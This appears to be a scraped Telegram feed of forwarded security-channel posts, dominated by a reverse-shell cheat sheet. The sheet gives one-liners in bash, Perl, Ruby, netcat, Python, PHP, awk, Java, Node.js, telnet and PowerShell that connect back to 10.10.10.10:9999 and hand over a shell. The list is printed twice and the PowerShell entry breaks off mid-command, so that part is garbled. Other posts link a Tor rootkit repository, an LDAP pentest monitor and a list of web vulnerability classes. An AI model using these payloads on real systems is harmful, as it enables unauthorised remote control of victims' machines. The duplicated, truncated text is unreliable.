Forwarded from Zer0Day Lab
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from ӉѦСҠіИԌ ҬЄѦӍ СѦИѦL ѺҒіСіѦL DіҒԱՏіóИ
BASH REVERSE SHELLS
1) bash -i >& /dev/tcp/10.10.10.10/9999 0>&1
2) 0<&196;exec 196<>/dev/tcp/10.10.10.10/9999; sh <&196 >&196 2>&196
3) exec 5<> /dev/tcp/10.10.10.10/9999; cat <&5 | while read line; do $line 2>&5>&5; done
PERL REVERSE SHELLS
1) perl -MIO -e ‘$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,”10.10.10.10:9999");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;’
2) perl -e ‘use Socket;$i=”10.10.10.10";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’
3) perl -MIO -e ‘$c=new IO::Socket::INET(PeerAddr,”10.10.10.10:9999");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;’
_
RUBY REVERSE SHELLS
1) ruby -rsocket -e ‘exit if fork;c=TCPSocket.new(“10.10.10.10”,”9999");while(cmd=c.gets);IO.popen(cmd,”r”){|io|c.print io.read}end’
2) ruby -rsocket -e’f=TCPSocket.open(“10.10.10.10”,9999).to_i;exec sprintf(“/bin/sh -i <&%d >&%d 2>&%d”,f,f,f)’
3) ruby -rsocket -e ‘c=TCPSocket.new(“10.10.10.10”,”9999");while(cmd=c.gets);IO.popen(cmd,”r”){|io|c.print io.read}end’
_
NETCAT REVERSE SHELLS
1) nc -c /bin/sh 10.10.10.10 9999
2) nc -e /bin/sh 10.10.10.10 9999
3) /bin/sh | nc 10.10.10.10 9999
4) rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 9999 >/tmp/f
5) rm -f /tmp/p; mknod /tmp/p p && nc 10.10.10.10 9999 0/tmp/p
6) ncat 10.10.10.10 9999 -e /bin/sh
_
PYTHON REVERSE SHELLS
1) python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.10.10.10”,9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’
2) python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.10.10.10”,9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(“/bin/sh”)’
_
PHP REVERSE SHELLS
1) php -r ‘$sock=fsockopen(“10.10.10.10”,9999);exec(“/bin/sh -i <&3 >&3 2>&3”);’
2) php -r ‘$s=fsockopen(“10.10.10.10”,9999);shell_exec(“/bin/sh -i <&3 >&3 2>&3”);’
3) php -r ‘$s=fsockopen(“10.10.10.10”,9999);/bin/sh -i <&3 >&3 2>&3;’
4) php -r ‘$s=fsockopen(“10.10.10.10”,9999);system(“/bin/sh -i <&3 >&3 2>&3”);’
5) php -r ‘$s=fsockopen(“10.10.10.10”,9999);popen(“/bin/sh -i <&3 >&3 2>&3”, “r”);’
_
AWK Reverse Shell
awk ‘BEGIN {s = “/inet/tcp/0/10.10.10.10/9999”; while(42) { do{ printf “shell>” |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != “exit”) close(s); }}’ /dev/null
JAVA REVERSE SHELLS
r = Runtime.getRuntime();p = r.exec([“/bin/sh”,”-c”,”exec 5<>/dev/tcp/10.10.10.10/9999;cat <&5 | while read line; do \$line 2>&5 >&5; done”] as String[]);p.waitFor();
_
NODE.JS REVERSE SHELL
(function(){var net=require(“net”),cp=require(“child_process”),sh=cp.spawn(“/bin/sh”,[]);var client=new net.Socket();client.connect(9999,”10.10.10.10",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();
_
TELNET REVERSE SHELLS
1) rm -f /tmp/p; mknod /tmp/p p && telnet 10.10.10.10 9999 0/tmp/p
2) rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet 10.10.10.10 9999 > /tmp/f
_
POWERSHELL REVERSE SHELLS
1) powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient(“10.10.10.10”,9999);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($
1) bash -i >& /dev/tcp/10.10.10.10/9999 0>&1
2) 0<&196;exec 196<>/dev/tcp/10.10.10.10/9999; sh <&196 >&196 2>&196
3) exec 5<> /dev/tcp/10.10.10.10/9999; cat <&5 | while read line; do $line 2>&5>&5; done
PERL REVERSE SHELLS
1) perl -MIO -e ‘$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,”10.10.10.10:9999");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;’
2) perl -e ‘use Socket;$i=”10.10.10.10";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’
3) perl -MIO -e ‘$c=new IO::Socket::INET(PeerAddr,”10.10.10.10:9999");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;’
_
RUBY REVERSE SHELLS
1) ruby -rsocket -e ‘exit if fork;c=TCPSocket.new(“10.10.10.10”,”9999");while(cmd=c.gets);IO.popen(cmd,”r”){|io|c.print io.read}end’
2) ruby -rsocket -e’f=TCPSocket.open(“10.10.10.10”,9999).to_i;exec sprintf(“/bin/sh -i <&%d >&%d 2>&%d”,f,f,f)’
3) ruby -rsocket -e ‘c=TCPSocket.new(“10.10.10.10”,”9999");while(cmd=c.gets);IO.popen(cmd,”r”){|io|c.print io.read}end’
_
NETCAT REVERSE SHELLS
1) nc -c /bin/sh 10.10.10.10 9999
2) nc -e /bin/sh 10.10.10.10 9999
3) /bin/sh | nc 10.10.10.10 9999
4) rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 9999 >/tmp/f
5) rm -f /tmp/p; mknod /tmp/p p && nc 10.10.10.10 9999 0/tmp/p
6) ncat 10.10.10.10 9999 -e /bin/sh
_
PYTHON REVERSE SHELLS
1) python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.10.10.10”,9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’
2) python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.10.10.10”,9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(“/bin/sh”)’
_
PHP REVERSE SHELLS
1) php -r ‘$sock=fsockopen(“10.10.10.10”,9999);exec(“/bin/sh -i <&3 >&3 2>&3”);’
2) php -r ‘$s=fsockopen(“10.10.10.10”,9999);shell_exec(“/bin/sh -i <&3 >&3 2>&3”);’
3) php -r ‘$s=fsockopen(“10.10.10.10”,9999);/bin/sh -i <&3 >&3 2>&3;’
4) php -r ‘$s=fsockopen(“10.10.10.10”,9999);system(“/bin/sh -i <&3 >&3 2>&3”);’
5) php -r ‘$s=fsockopen(“10.10.10.10”,9999);popen(“/bin/sh -i <&3 >&3 2>&3”, “r”);’
_
AWK Reverse Shell
awk ‘BEGIN {s = “/inet/tcp/0/10.10.10.10/9999”; while(42) { do{ printf “shell>” |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != “exit”) close(s); }}’ /dev/null
JAVA REVERSE SHELLS
r = Runtime.getRuntime();p = r.exec([“/bin/sh”,”-c”,”exec 5<>/dev/tcp/10.10.10.10/9999;cat <&5 | while read line; do \$line 2>&5 >&5; done”] as String[]);p.waitFor();
_
NODE.JS REVERSE SHELL
(function(){var net=require(“net”),cp=require(“child_process”),sh=cp.spawn(“/bin/sh”,[]);var client=new net.Socket();client.connect(9999,”10.10.10.10",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();
_
TELNET REVERSE SHELLS
1) rm -f /tmp/p; mknod /tmp/p p && telnet 10.10.10.10 9999 0/tmp/p
2) rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet 10.10.10.10 9999 > /tmp/f
_
POWERSHELL REVERSE SHELLS
1) powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient(“10.10.10.10”,9999);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($
Forwarded from ӉѦСҠіИԌ ҬЄѦӍ СѦИѦL ѺҒіСіѦL DіҒԱՏіóИ
Tor Rootkit: Python 3 independiente de Windows 10 / Linux Rootkit https://github.com/emcruise/TorRootkit
GitHub
GitHub - emcruise/tor-rootkit: A Python 3 standalone Windows 10 / Linux Rootkit using Tor.
A Python 3 standalone Windows 10 / Linux Rootkit using Tor. - GitHub - emcruise/tor-rootkit: A Python 3 standalone Windows 10 / Linux Rootkit using Tor.
Forwarded from Технологический Болт Генона
OMG! VMware Tanzu Community Edition — бесплатное и готовое
Когда мы в первый раз рассказывали про решение для работы с микросервисными приложениями и кластерами Kubernetes VMware Tanzu в комментариях закономерно встал вопрос о стоимости. А теперь радостная новость, которая его обнуляет. На днях VMware выпустила бесплатный продукт — Tanzu Community Edition. Что это такое и кому может быть полезно?
https://habr.com/ru/company/jetinfosystems/blog/583892/
Когда мы в первый раз рассказывали про решение для работы с микросервисными приложениями и кластерами Kubernetes VMware Tanzu в комментариях закономерно встал вопрос о стоимости. А теперь радостная новость, которая его обнуляет. На днях VMware выпустила бесплатный продукт — Tanzu Community Edition. Что это такое и кому может быть полезно?
https://habr.com/ru/company/jetinfosystems/blog/583892/
Хабр
OMG! VMware Tanzu Community Edition — бесплатное и готовое
Когда мы в первый раз рассказывали про решение для работы с микросервисными приложениями и кластерами Kubernetes VMware Tanzu в комментариях закономерно встал вопрос о стоимости. А теперь радостная...
Forwarded from ӉѦСҠіИԌ ҬЄѦӍ СѦИѦL ѺҒіСіѦL DіҒԱՏіóИ
GitLab
bzt / usbimager · GitLab
A very minimal GUI app that can write compressed disk images to USB drives.
Forwarded from Neural Shit
This media is not supported in your browser
VIEW IN TELEGRAM
Forwarded from GitHub repos
p0dalirius/LDAPmonitor
Monitor creation, deletion and changes to LDAP objects live during your pentest or system administration!
Language: Python
#active #csharp #directory #ldap #monitor #pentest #powershell #python #tool
Stars: 103 Issues: 1 Forks: 10
https://github.com/p0dalirius/LDAPmonitor
Monitor creation, deletion and changes to LDAP objects live during your pentest or system administration!
Language: Python
#active #csharp #directory #ldap #monitor #pentest #powershell #python #tool
Stars: 103 Issues: 1 Forks: 10
https://github.com/p0dalirius/LDAPmonitor
GitHub
GitHub - p0dalirius/LDAPmonitor: Monitor creation, deletion and changes to LDAP objects live during your pentest or system administration!
Monitor creation, deletion and changes to LDAP objects live during your pentest or system administration! - p0dalirius/LDAPmonitor
Forwarded from Zer0Day Lab
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Security Wine (бывший - DevSecOps Wine) (Denis Yakimov)
10 Types of Web Vulnerabilities that are Often Missed, OWASP Top 10 Over Time
Сегодня у нас на очереди снова веб, а именно 10 уязвимостей, которые часто упускают.
Среди них:
- HTTP/2 Smuggling
- XXE via Office Open XML Parsers
- SSRF via XSS in PDF Generators
- XSS via SVG Files
- Blind XSS
- Web Cache Deception
- Web Cache Poisoning
- h2c Smuggling
- Second Order Subdomain Takeovers
- postMessage bugs
А на картинке вы, кстати, видете, как менялся OWASP Top 10 с 2004 по 2021 год.
#dev
Сегодня у нас на очереди снова веб, а именно 10 уязвимостей, которые часто упускают.
Среди них:
- HTTP/2 Smuggling
- XXE via Office Open XML Parsers
- SSRF via XSS in PDF Generators
- XSS via SVG Files
- Blind XSS
- Web Cache Deception
- Web Cache Poisoning
- h2c Smuggling
- Second Order Subdomain Takeovers
- postMessage bugs
А на картинке вы, кстати, видете, как менялся OWASP Top 10 с 2004 по 2021 год.
#dev